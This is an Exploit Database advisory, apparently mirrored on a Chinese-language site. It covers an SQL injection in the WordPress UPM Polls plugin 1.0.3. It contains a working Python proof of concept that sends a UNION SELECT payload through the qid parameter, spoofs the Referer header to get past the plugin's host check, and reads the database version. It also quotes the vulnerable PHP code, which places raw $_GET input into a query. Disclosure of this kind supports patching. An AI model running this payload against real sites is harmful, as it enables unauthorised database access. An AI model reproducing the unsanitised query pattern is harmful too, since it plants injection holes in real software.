WordPress Plugin UPM Polls 1.0.3 – SQL Injection

• Exploit Database
• 12 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17627/

• # Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability
  # Date: 2011-08-06
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip
  # Version: 1.0.3 (tested)
  
  ---
  PoC
  ---
  #!/bin/python
  
  import re
  import urllib2
  import urlparse
  
  url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")
  req = urllib2.Request(url=url, headers={"Referer": url})
  content = urllib2.urlopen(req).read()
  match = re.search(r"`(.+)`", content)
  
  print match.group(1) if match else "None"
  
  ---------------
  Vulnerable code
  ---------------
  $ref = parse_url( $_SERVER['HTTP_REFERER'] );
  if( $_SERVER["HTTP_HOST"] != $ref['host'] ){
  	exit('UPM Error:128');
  }
  
  ...
  
  $QID = $_GET['qid'];
  $POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);